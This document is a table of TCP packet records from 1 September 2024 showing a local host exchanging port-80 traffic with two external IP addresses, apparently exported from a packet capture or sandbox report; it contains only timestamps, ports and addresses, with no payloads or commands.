Sep 1, 2024 05:09:13.418240070 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.418251038 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.418256998 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.418270111 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.418299913 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.418323994 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.418335915 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.418343067 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.418350935 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.418365955 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.418385983 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.418395996 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.418437004 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.422868967 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.422911882 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.422933102 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.422955036 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.422960043 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.422996998 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.467807055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.467818022 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.468089104 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:13.469037056 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:13.473783970 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.509136915 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.509146929 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.509330034 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.569415092 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.569426060 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.569432020 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.569463968 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.569473982 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.569618940 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.569618940 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.569736958 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.569745064 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.569880009 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.569966078 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.570010900 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.570014000 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.570020914 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.570055008 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.570255041 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.570274115 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.570281982 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.570310116 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.570327044 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.570699930 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.570750952 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.570755959 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.570760965 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.570795059 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.570812941 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.570830107 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.570839882 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.570847988 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.570883989 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.570902109 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.571569920 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.571621895 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.571630955 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.571640968 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.571672916 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.571682930 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.571686983 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.571719885 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.600018978 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.600028038 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.600038052 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.600300074 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.715188026 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.715198994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.715213060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.715221882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.715230942 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.715240002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.715249062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.715269089 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:13.715421915 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:13.717005968 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:13.719578028 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.719597101 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.719604015 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.719639063 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.719659090 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.719737053 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.719747066 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.719754934 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.719764948 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.719786882 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.719814062 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.720156908 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.720166922 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.720177889 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.720204115 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.720215082 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.720464945 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.720474005 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.720479965 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.720525026 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.720526934 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.720535994 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.720568895 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.720983982 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.721003056 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.721010923 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.721033096 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.721054077 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.721059084 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.721096039 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.721419096 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.721477985 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.721478939 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.721489906 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.721519947 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.721529961 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.721533060 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.721560001 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.721585989 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.721792936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:13.722007036 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722016096 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722026110 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722053051 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.722079039 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.722104073 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722115993 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722124100 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722134113 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722152948 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.722179890 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.722877026 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722887039 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722896099 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722927094 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.722938061 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.722958088 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722969055 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722976923 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.722986937 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.723000050 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.723017931 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.723042965 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.723732948 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.723742008 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.723750114 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.723781109 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.723805904 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.723833084 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.723841906 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.723850012 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.723859072 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.723885059 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.723908901 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.724611044 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.724621058 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.724628925 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.724658966 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.724675894 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.724684954 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.724684954 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.724716902 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.724731922 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.869592905 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.869604111 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.869700909 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.869724035 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.869767904 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.869812012 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.869820118 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.869836092 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.869844913 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.869858980 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.869888067 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.870129108 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.870170116 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.870179892 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.870182991 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.870218039 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.870234966 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.870276928 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.870310068 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.870318890 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.870326996 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.870335102 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.870361090 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.870385885 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.872505903 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.872524977 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.872533083 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.872565985 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.872590065 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.872617960 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.872627974 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.872637033 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.872667074 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.872690916 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.872765064 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.872772932 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.872809887 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.872817039 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.872867107 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.872886896 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.872899055 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.872935057 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.872980118 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873024940 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873024940 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.873034954 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873069048 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.873184919 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873197079 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873235941 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.873271942 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873318911 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873318911 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.873328924 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873337984 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873358965 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.873369932 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.873609066 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873617887 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873626947 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873635054 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873661995 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.873676062 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.873771906 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873790026 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873822927 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.873843908 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873888016 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.873892069 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.873935938 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.874649048 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.874707937 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.874711037 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.874716997 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.874727011 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.874744892 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.874762058 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.874932051 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.874973059 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.874975920 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.874983072 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875009060 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.875021935 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.875030994 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875040054 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875077009 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.875097036 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875106096 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875144005 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.875262022 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875271082 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875279903 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875305891 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.875323057 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.875399113 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875408888 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875412941 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875421047 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875457048 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.875598907 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875664949 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.875665903 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875675917 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875711918 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.875724077 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.875740051 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875749111 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.875796080 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.877429008 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.877439022 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.877446890 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.877477884 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.877477884 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.877496004 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.877523899 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.877716064 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.877726078 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.877768040 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.878067970 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.878077984 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.878120899 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.878577948 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.878628016 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.878758907 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.878768921 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.878808975 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.878907919 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.878953934 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.879045010 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.879091024 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.879575968 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.879585981 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.879621983 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.880388975 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880398035 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880407095 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880415916 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880424976 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880434036 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880435944 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.880450964 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.880497932 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880502939 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.880512953 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880521059 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880528927 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880533934 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880537987 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.880537987 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880548000 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880556107 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880565882 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.880570889 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.880618095 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.960551977 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.960562944 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.960568905 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.960575104 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.960638046 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.960650921 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.960659027 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.960680008 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.960763931 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.960808992 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.960859060 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.960866928 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.960872889 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.960881948 CEST	49743	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:13.960882902 CEST	80	49743	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:13.960891008 CEST	80	49743	185.215.113.16	192.168.2.4
